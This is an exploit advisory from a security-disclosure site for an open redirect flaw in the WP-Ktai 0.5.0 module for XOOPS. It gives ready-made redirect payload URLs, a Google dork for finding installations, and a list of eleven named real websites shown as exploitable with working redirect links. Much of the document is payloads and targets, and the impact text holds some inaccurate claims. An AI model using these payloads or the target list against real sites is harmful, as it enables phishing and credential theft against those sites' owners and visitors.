##################################################################################
# Exploit Title : Xoops Wordpress Modules WP-Ktai 0.5.0 Japan Open Redirection
# Author [ Discovered By ] : KingSkrupellos
# Team : Cyberizm Digital Security Army
# Date : 18/05/2019
# Vendor Homepage : kowa.org - xoops.org - wordpress.org
# Software Download Link : kowa.org/modules/mydownloads/singlefile.php?lid=11
# Software Information Link : kowa.org/modules/pukiwiki/358.html
# Software Affected Version : 0.5.0
# Tested On : Windows and Linux
# Category : WebApps
# Exploit Risk : Medium
# Google Dorks : intext:WP-Ktai ver 0.5.0
# Vulnerability Type : CWE-601 [ URL Redirection to Untrusted Site ('Open Redirect') ]
# PacketStormSecurity : packetstormsecurity.com/files/authors/13968
# CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
# Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos
##################################################################################
Information about XOOPS CMS :
******************************
XOOPS CMS is an extensible, OO (Object Oriented), easy to use dynamic web content management
system (CMS) written in PHP. XOOPS is the ideal tool for developing small to large dynamic community
websites, intra company portals, corporate portals, weblogs and much more.
##################################################################################
# Impact :
***********
Xoops Wordpress0 Modules WP-Ktai 0.5.0 Japan accepts a user-controlled input that specifies a
link to an external site, and uses that link in a Redirect. This simplifies phishing attacks. An http parameter may
contain a URL value and could cause the web application to redirect the request to the specified URL.
By modifying the URL value to a malicious site, an attacker may successfully launch a phishing scam and
steal user credentials. Because the server name in the modified link is identical to the original site, phishing attempts
have a more trustworthy appearance. Open redirect is a failure in that process that makes it possible for attackers to
steer users to malicious websites. This vulnerability is used in phishing attacks to get users to visit malicious sites
without realizing it. Web users often encounter redirection when they visit the Web site of a company whose name
has been changed or which has been acquired by another company. Visiting unreal web page user's computer
becomes affected by malware the task of which is to deceive the valid actor and steal his personal data.
##################################################################################
# Vulnerable File :
*****************
/wp-ktai.php
# Vulnerable Parameters :
***********************
?view=redir&url=//
# Open Redirection Exploit :
**************************
/modules/wordpress0/wp-ktai.php?view=redir&url=//[REDIRECTION-ADDRESS].gov
/modules/wordpress/wp-ktai.php?view=redir&url=//[REDIRECTION-ADDRESS].gov
/modules/todays0/wp-ktai.php?view=redir&url=https://[REDIRECTION-ADDRESS].gov
/aki/modules/wordpress/wp-ktai.php?view=redir&url=https://[REDIRECTION-ADDRESS].gov
/dir_x/modules/wordpress/wp-ktai.php?view=redir&url=https://[REDIRECTION-ADDRESS].gov
/xoops/html/modules/wordpress/wp-ktai.php?view=redir&url=https://cxsecurity.com/
##################################################################################
# Example Vulnerable Sites :
*************************
[+] katakura.net/xoops/html/modules/wordpress/wp-ktai.php?view=redir&url=https://cxsecurity.com/
[+] shayashi.jp/xoops/html/modules/wordpress/wp-ktai.php?view=redir&url=https://cxsecurity.com/
[+] yamadaseika.com/modules/todays0/wp-ktai.php?view=redir&url=https://cxsecurity.com/
[+] ymg-ssz.jp/cms/modules/wordpress0/wp-ktai.php?view=redir&url=https://cxsecurity.com/
[+] gorch-brothers.jp/modules/wordpress0/wp-ktai.php?view=redir&url=https://cxsecurity.com/
[+] ug-selection.com/modules/wordpress/wp-ktai.php?view=redir&url=https://cxsecurity.com/
[+] shumali.net/aki/modules/wordpress/wp-ktai.php?view=redir&url=https://cxsecurity.com/
[+] gengosf.com/dir_x/modules/wordpress/wp-ktai.php?view=redir&url=https://cxsecurity.com/
[+] ndxa.net/modules/wordpress/wp-ktai.php?view=redir&url=https://cxsecurity.com/
[+] vocce-gourmet.com/modules/wordpress0/wp-ktai.php?view=redir&url=https://cxsecurity.com/
[+] okashi-oroshi.net/modules/wordpress/wp-ktai.php?view=redir&url=https://cxsecurity.com/
##################################################################################
# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team
##################################################################################